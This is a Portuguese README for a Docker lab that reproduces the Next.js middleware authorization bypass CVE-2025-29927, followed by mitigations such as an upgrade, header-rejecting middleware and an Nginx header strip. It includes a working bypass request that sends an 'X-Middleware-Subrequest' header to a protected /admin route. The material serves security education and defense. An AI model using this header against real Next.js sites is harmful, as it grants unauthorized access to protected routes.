
Laboratório baseado em Docker para explorar e reproduzir a vulnerabilidade de bypass de autorização de middleware CVE-2025-29927 do Next.js. Inclui aplicativo vulnerável, etapas de reprodução e estratégias de mitigação para pesquisa educacional de segurança.
Este repositório contém um ambiente de laboratório baseado em Docker para explorar e demonstrar a vulnerabilidade CVE-2025-29927 do Next.js em um ambiente controlado.
⚠️ AVISO: Este laboratório é apenas para fins educacionais e de pesquisa em segurança. Não o exponha à internet pública nem o use em produção.
Certifique-se de ter os seguintes itens instalados:
Siga estas etapas para clonar e executar o laboratório:
git clone https://github.com/enochgitgamefied/NextJS-CVE-2025-29927-Docker-Lab.git
cd NextJS-CVE-2025-29927-Docker-Lab
docker-compose up --build
Isso irá:
.
├── app/ # Código principal da aplicação Next.js
├── public/ # Ativos estáticos (imagens, etc.)
├── Dockerfile # Configuração Docker para a aplicação
├── docker-compose.yml # Configuração do Compose
├── .env # Variáveis de ambiente (se houver)
├── README.md # Você está aqui
⚠️ AVISO: Esta documentação é apenas para fins educacionais e de pesquisa em segurança. Não implante a aplicação vulnerável em um ambiente de produção.
CVE-2025-29927 é uma vulnerabilidade crítica de bypass de autorização no middleware do Next.js. Ela permite que atacantes ignorem a autenticação baseada em middleware e acessem rotas protegidas manipulando o cabeçalho X-Middleware-Subrequest.
Tente acessar uma rota protegida, como /admin, sem qualquer autenticação:
curl http://localhost:3000/admin
Comportamento Esperado: O acesso é negado ou redirecionado para uma página não autorizada.
Comportamento Vulnerável: O acesso é concedido sem autenticação.
X-Middleware-SubrequestEnvie uma requisição com o cabeçalho X-Middleware-Subrequest para ignorar as verificações do middleware:
curl -H "X-Middleware-Subrequest: src/middleware:nowaf" http://localhost:3000/admin
Resultado: O middleware é ignorado e o acesso à rota protegida é concedido.
Atualize o Next.js para uma das seguintes versões onde a vulnerabilidade foi corrigida:
npm install next@latest
Aprimore seu middleware para validar requisições corretamente e rejeitar qualquer uma com cabeçalhos suspeitos:
import { NextResponse } from 'next/server';
export function middleware(request) {
const subrequestHeader = request.headers.get('x-middleware-subrequest');
if (subrequestHeader) {
return new NextResponse('Unauthorized', { status: 401 });
}
// Continue com o processamento normal
return NextResponse.next();
}
Se você estiver usando um proxy reverso (ex.: Nginx), configure-o para remover o cabeçalho X-Middleware-Subrequest das requisições recebidas:
location / {
proxy_pass http://localhost:3000;
proxy_set_header X-Middleware-Subrequest "";
}
Este arquivo VULNERABILITY.md fornece um guia abrangente para entender e reproduzir a vulnerabilidade CVE-2025-29927 em um ambiente controlado. Ele também oferece estratégias práticas de mitigação para proteger suas aplicações Next.js contra tais explorações.
Para uma demonstração detalhada e mais informações sobre esta vulnerabilidade, você pode consultar a demonstração completa do ataque fornecida por Techtalkpine na postagem do blog, que também está vinculada à demonstração ao vivo no YouTube: https://techtalkpine.com/2025/03/demo-for-cve-2025-29927-nextjs/
Deixe-me saber se precisar de ajuda com alguma parte específica desta configuração ou de mais esclarecimentos sobre as etapas de mitigação.
Para parar e remover os contêineres:
docker-compose down
Este projeto é destinado exclusivamente para fins educacionais e de pesquisa. Você é responsável por usá-lo de acordo com todas as leis e diretrizes éticas aplicáveis. O autor não se responsabiliza por qualquer uso indevido ou dano causado.